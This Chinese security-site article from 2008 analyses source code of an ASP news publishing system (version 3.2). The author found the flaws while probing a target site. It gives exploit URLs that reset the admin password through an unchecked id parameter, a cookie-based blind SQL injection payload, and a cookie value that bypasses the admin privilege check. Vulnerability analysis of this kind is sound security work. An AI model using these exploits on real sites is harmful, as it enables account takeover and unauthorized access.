通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 安全防御 >> 安全相关 >> 文章正文
过滤不等于安全
责任编辑:酷酷の鱼   更新日期:2008-3-12
 

来源:安全中国

好久没读代码了,而且是N久没碰的asp.迅时新闻发布系统,在网上就能找到个注入漏洞的文章,还是cookies注入,试了下,我的目标已经不存在这个漏洞,下了一套最新的3.2版本.忽然发现eWebEditor,可惜目标站的被管理员废掉了,利用不了了.
因为我已经有了一个可以发表文章的账户(id密码相同),但是权限非常低,可以玩玩XSS,能cookies欺骗,但是我不喜欢等待,还有搭积木一样的注入,所以直接找提权漏洞咯.在admin_admin_editpass.asp中有点问题,倒着看(我的习惯),85行:

<form method="POST" action="admin_admin_editpass_save.asp?id=<%=id%>" name="FrontPage_Form1"> //根据这个id修改密码
...很CGX的省略号...
 <p align="left"><font face="Wingdings">1</font><b>修改<%=username%>密码

...依然CGX...
 <input type="text" name="username" size="42" value="<%=username%>" maxlength="20"></td>

id,username的作用与实现基本了解了,证实一下,22行:

id=trim(request("id")) //这段是根据id(木过滤)得到修改的username云云
if id<>"" then
sql = "select * from admin where id="&id
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,1
if rs.recordcount<>0 then
 username=rs("user")
end if

在来看下保存密码的文件,admin_admin_editpass_save.asp,25行:

id=trim(request("id")) //id也没过滤
username=trim(request("username"))
password=md5(trim(request("password")))

if id<>"" then //漏洞出现咯
sql = "select * from admin where id="&id
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,2
if rs.recordcount<>0 then
 rs("user")=username //MD,这也能改
 rs("pass")=password
 rs.update //cool,直接update了
end if

敏感的人一下就会看出,id没过滤,没错,是没过滤,但是我要告诉你,这个漏洞另有乾坤,就算他过滤了,也照黑无误!

首先程序通过这个id得到对应的username,而id是和你登录信息有关的,这些不重要,重要的是他是依靠id直接update密码的,只要指定了id,有个账户就可以更改任意用户的密码.Exploit:http://www.xxx.com/admin_admin_editpass_save.asp?id=1&username=admin&password=admin888 ,admin密码就改成admin888了,拿shell很简单,还是数据库.

关于这个id的注入,也很简单,不过也需要一个账户可以访问这个文件,发现迅时有放注入的过滤处理,引用了一个文件<!--#include file = admin_conn.asp -->,逐步跟踪这个文件,发现详细的过滤是这样的:

sss=LCase(request.servervariables("QUERY_STRING"))
 if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"'or")<>0 then
 response.write "<BR><BR><center>你的网址不合法"
 response.end
 end if

很简单的过滤,拿下了几个SQL关键字和括号,却给普通注入造成了极大的麻烦,不过既然是request.servervariables("QUERY_STRING"),那cookies注入还是有杀伤力的,本地写个中转站,然后exploit:http://127.0.0.1/cookie.php?id=1%20and%20(select%20asc(mid(user,1,1))%20from%20[admin]%20where%20id=1)=97,依次猜解,不过和上面的提权漏洞相比没什么价值,除非你不想让管理员发现.

本已经达到目的,但是在看几处代码让我大跌眼睛(因为我没眼镜),后台文件对身份验证居然是这样的,太2了吧,如果添加管理员也是这样的话...没看的必要了.

if Request.Cookies("admindj")<>"1" then //玩鹰呢
 Response.Write "<BR><BR><BR><BR><center>权限不足,你没有此功能的管理权限"
 Response.end
end if

修改cookies中的admindj的参数为1,那么就...Admin,welcome to back:)

前台也好不到哪去,好烂的代码,随随便便即可从无到有.因为好久没读代码了,所以YY一下,希望程序员能了解,过滤不等于安全,逻辑也很重要.

  • 上一篇文章:
  • 下一篇文章: 没有了
  • 最近更新
    固顶文章 Delphi编程培训班开课了
    普通文章 瑞星公司03月12日发布 每日计算机病毒及木马播报
    普通文章 判断cookies注入的js语句
    普通文章 过滤不等于安全
    普通文章 千千静听 med 文件格式堆溢出
    普通文章 Metasploit渗透工具应用
    普通文章 新Or 1=1的脚本注入技术详解
    普通文章 全国人大代表呼吁立法治理病毒产业链
    普通文章 网民代表:网上交易平台的安全是重要问题
    普通文章 英国将推生物识别身份证
    热门文章
    普通文章微软Hotmail故障未解决 用户转用谷歌
    普通文章关注未成年人 欧盟5500万营造安全网络环境
    普通文章德国司法部门在线搜查须获法官许可
    普通文章Safari不在贝宝(paypal)安全浏览器列表中
    普通文章“艳照门”图片长沙再拘人
    普通文章手机版火狐浏览器年内推出 暂瞄准视窗和Linux
    普通文章美国白领社交网站LinkedIn昨晚瘫痪一个小时
    普通文章黑客行为调查:四成以上黑客在研究“免杀”病毒
    普通文章AJAX应用程序容易遭受到新型攻击
    普通文章破解互联星空交换机共享上网
    精彩专题